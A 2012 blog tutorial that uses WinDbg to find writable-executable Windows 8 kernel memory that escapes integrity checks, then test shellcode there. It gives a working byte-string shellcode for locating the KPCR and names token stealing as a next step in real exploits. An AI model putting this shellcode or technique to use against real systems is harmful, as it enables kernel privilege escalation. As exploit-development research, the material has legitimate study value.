Monday, November 5, 2012

How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg


How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 5/11/2012

For windows kernel shellcoder, it is very important to has a testing platform in 
evaluating and verifying the shellcode at instruction level in runtime. So, windbg
should be the ideal tool to do the job. In order to build a testing platform, we 
need 2 pieces of memory areas, one with write and execute (WE) permission, and 
another one with write (W) permission. The one with WE permission is to let us put
our shellcode inside, and run it there. On the other hand, the one with W permission
is for temporary storage, so, we can store our variable or output there. A good 
example is sgdt command. The command will read the gdt register and store the content
into a memory area that we specified. Now, we need to search memory pages to find
one with WE permission and another one with W permission. Let's start now.

          
8 files are generated, which the file names from 80000000.txt to f0000000.txt.
The processes will take quite a while in scanning the kernel space page by page.
Based on the log files, quite a number of memory areas are found which can meet the 
requirement. However, most of them are protected by integrity check of the kernel.
In other words, when some bytes on those memory areas are modified, and let the 
kernel run again, the system will crash immediately. Fortunately, after several 
tries, a piece of memory area which has WE permission and out of the control of 
integrity check by the kernel has been found. 

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
                    VA 811fc000
PDE at C0602040            PTE at C0408FE0
contains 0000000002A07063  contains 00000000025FC963
pfn 2a07      ---DA--KWEV   pfn 25fc      -G-DA--KWEV

(811fb480)   nt!HvlpLogicalProcessorRegions+0xb80   |  (81206480)   nt!HvlpNodes

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

The memory area is known as HvlpLogicalProcessorRegions and it is started from 
0x811fb480 and end at 0x81206480. Please note that the memory addresses will be 
different in your machine because the kernel base is always ASLRed. Now we need to 
make sure the HvlpLogicalProcessorRegions is included in the nt kernel export list
or not. 


There is nothing in the export list that match "HvlpLogicalProcessorRegions", and even
with prefix "Hvlp". If search for those with prefix "Hvl", then there are some, but 
nothing related to the "HvlpLogicalProcessorRegions". So, from the angle of kernel 
shellcode design, we can only get the base of "HvlpLogicalProcessorRegions" by using 
offset comparison technique as discussed in previous paper - "How to Defeat Windows 8 
ASLR in Getting the Address of KPCR". Anyway, since we are using windbg with symbol 
files now, we no need to consider this first. But now, how about the memory area with 
W permission ? Again, after several tries, a fixed address is very suitable to do the 
job, and it is located at 0xffdf0000.

///////////////////////////////////////////////////////////////////////////////////
                    VA ffdf0000
PDE at C0603FF0            PTE at C07FEF80
contains 0000000002A96063  contains 8000000002A58163
pfn 2a96      ---DA--KWEV   pfn 2a58      -G-DA--KW-V 

///////////////////////////////////////////////////////////////////////////////////

Nice, let's try with some instructions. First, check for any content in 
HvlpLogicalProcessorRegions.

kd> dd HvlpLogicalProcessorRegions
811fb480  00000000 00000000 00000000 00000000
811fb490  00000000 00000000 00000000 00000000
811fb4a0  00000000 00000000 00000000 00000000
811fb4b0  00000000 00000000 00000000 00000000
811fb4c0  00000000 00000000 00000000 00000000
811fb4d0  00000000 00000000 00000000 00000000
811fb4e0  00000000 00000000 00000000 00000000
811fb4f0  00000000 00000000 00000000 00000000

Full with zero...Fine, we start to put some instructions there.

kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb489 nop
nop
811fb48a nop
nop
811fb48b 

The instruction "sgdt [0xffdf0000]" will write the content of gdt register into 
0xffdf0000. Let's check the memory of HvlpLogicalProcessorRegions again.

kd> dd HvlpLogicalProcessorRegions
811fb480  010f9090 df000005 009090ff 00000000
811fb490  00000000 00000000 00000000 00000000
811fb4a0  00000000 00000000 00000000 00000000
811fb4b0  00000000 00000000 00000000 00000000
811fb4c0  00000000 00000000 00000000 00000000
811fb4d0  00000000 00000000 00000000 00000000
811fb4e0  00000000 00000000 00000000 00000000
811fb4f0  00000000 00000000 00000000 00000000

It is easier to check it in bytes...

kd> db HvlpLogicalProcessorRegions
811fb480  90 90 0f 01 05 00 00 df-ff 90 90 00 00 00 00 00  ................
811fb490  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Good, the instructions already there. Let the kernel run again to ensure the system
will not hang due to our modification to the kernel memory. Issue command 'g' and 
do something such as open windows explorer at windows 8, it should work properly.
Now, break the system again and check our instructions are still there or not.

kd> db HvlpLogicalProcessorRegions
811fb480  90 90 0f 01 05 00 00 df-ff 90 90 00 00 00 00 00  ................
811fb490  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Yes, still there. Now, we need to redirect the EIP to HvlpLogicalProcessorRegions.
Before that, we need to note down the current EIP first. 

kd> r eip
eip=811003a4

So, redirect the EIP to HvlpLogicalProcessorRegions now.

kd> r eip=HvlpLogicalProcessorRegions
kd> r eip
eip=811fb480

Well, let's disassemble it.

kd> u eip
nt!HvlpLogicalProcessorRegions:
811fb480 90              nop
811fb481 90              nop
811fb482 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb489 90              nop
811fb48a 90              nop
811fb48b 0000            add     byte ptr [eax],al
811fb48d 0000            add     byte ptr [eax],al
811fb48f 0000            add     byte ptr [eax],al

We are ready to run it now. Step over until reach at 0x811fb48a.

kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0x9:
811fb489 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0xa:
811fb48a 90              nop

Now, check the content of gdt register at ffdf0000.

kd> dd ffdf0000
ffdf0000  300003ff 0f998080 a2cd7d0e 00000000
ffdf0010  00000000 16c4f5d0 01cdbbb7 01cdbbb7
ffdf0020  0e234000 00000043 00000043 014c014c
ffdf0030  003a0043 0057005c 006e0069 006f0064
ffdf0040  00730077 00000000 00000000 00000000
ffdf0050  00000000 00000000 00000000 00000000
ffdf0060  00000000 00000000 00000000 00000000
ffdf0070  00000000 00000000 00000000 00000000
kd> db ffdf0000
ffdf0000  ff 03 00 30 80 80 99 0f-0e 7d cd a2 00 00 00 00  ...0.....}......
ffdf0010  00 00 00 00 d0 f5 c4 16-b7 bb cd 01 b7 bb cd 01  ................
ffdf0020  00 40 23 0e 43 00 00 00-43 00 00 00 4c 01 4c 01  .@#.C...C...L.L.
ffdf0030  43 00 3a 00 5c 00 57 00-69 00 6e 00 64 00 6f 00  C.:.\.W.i.n.d.o.
ffdf0040  77 00 73 00 00 00 00 00-00 00 00 00 00 00 00 00  w.s.............
ffdf0050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffdf0060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
ffdf0070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

gdt register is 48-bit, which is 6 bytes and the gdt base is located at byte 2-5 
(zero base). So, the gdt base should be 0x80803000. Let's verify.

kd> r gdtr
gdtr=80803000

Yes, it seems everything fine. How about to get the KPCR ?

kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 nop
nop
811fb4a4 nop
nop
811fb4a5 popad
popad
811fb4a6 nop
nop
811fb4a7 nop
nop
811fb4a8

kd> r eip=HvlpLogicalProcessorRegions
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60              pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
kd> r eax
eax=80803000
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
kd> db eax
80803000  00 00 00 00 00 00 00 00-ff ff 00 00 00 9b cf 00  ................
80803010  ff ff 00 00 00 93 cf 00-ff ff 00 00 00 fb cf 00  ................
80803020  ff ff 00 00 00 f3 cf 00-ab 20 00 80 7f 8b 00 80  ......... ......
80803030  80 42 00 90 20 93 40 81-ff 0f 00 00 00 f3 40 00  .B.. .@.......@.
80803040  ff ff 00 04 00 f2 00 00-00 00 00 00 00 00 00 00  ................
80803050  68 00 00 30 1d 89 00 81-68 00 68 30 1d 89 00 81  h..0....h.h0....
80803060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
80803070  ff 03 00 30 80 92 00 80-00 00 00 00 00 00 00 00  ...0............
kd> r dh
dh=81
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda          mov     bx,dx
kd> r dl
dl=20
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310          shl     ebx,10h
kd> r ebx
ebx=81208120
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
kd> r ebx
ebx=81200000
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
kd> r bh
bh=90
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 90              nop
kd> r bl
bl=0
kd> r ebx
ebx=81209000

Well, the value of ebx should be the KPCR, let's verify.

kd> dg 30
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81209000 00004280 Data RW Ac 0 Bg By P  Nl 00000493

Good, we are at the right point. Now, let us extract the shellcode in getting KPCR.

811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
811fb497 668bda          mov     bx,dx
811fb49a c1e310          shl     ebx,10h
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]

shellcode_get_kpcr=("\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37"
                    "\x8a\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32")

So, after the shellcode_get_kpcr get executed, the address of KPCR should be at ebx, 
and we can do the rest of the things such as token stealing or whatever up to your 
imagination. Besides, this version of shellcode contains illegal null bytes which is 
normally not allowed by the system. Regarding how to avoid null bytes, I reserve this 
as your own exercise. After everything completed, we revert the machine to the 
original state. Let's run over the instruction "popad".

kd> p
nt!HvlpLogicalProcessorRegions+0x24:
811fb4a4 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 61              popad
kd> p
nt!HvlpLogicalProcessorRegions+0x26:
811fb4a6 90              nop
kd> r eax
eax=00000001
kd> r ebx
ebx=8120b354

Now, reset the address of EIP to the original state.

ebx=8120b354
kd> r eip=811003a4

Issue command 'g' to run the kernel again, the system should revert to the working
state.

kd> g

Yes, the system now working well again. For your info, when using this technique in 
the real exploit, the shellcode can put directly to HvlpLogicalProcessorRegions by 
using multiple of write4 or write8. Regarding to the issue of how to get the address
of HvlpLogicalProcessorRegions in ASLRed kernel, please refer my previous paper of 

No comments:

Post a Comment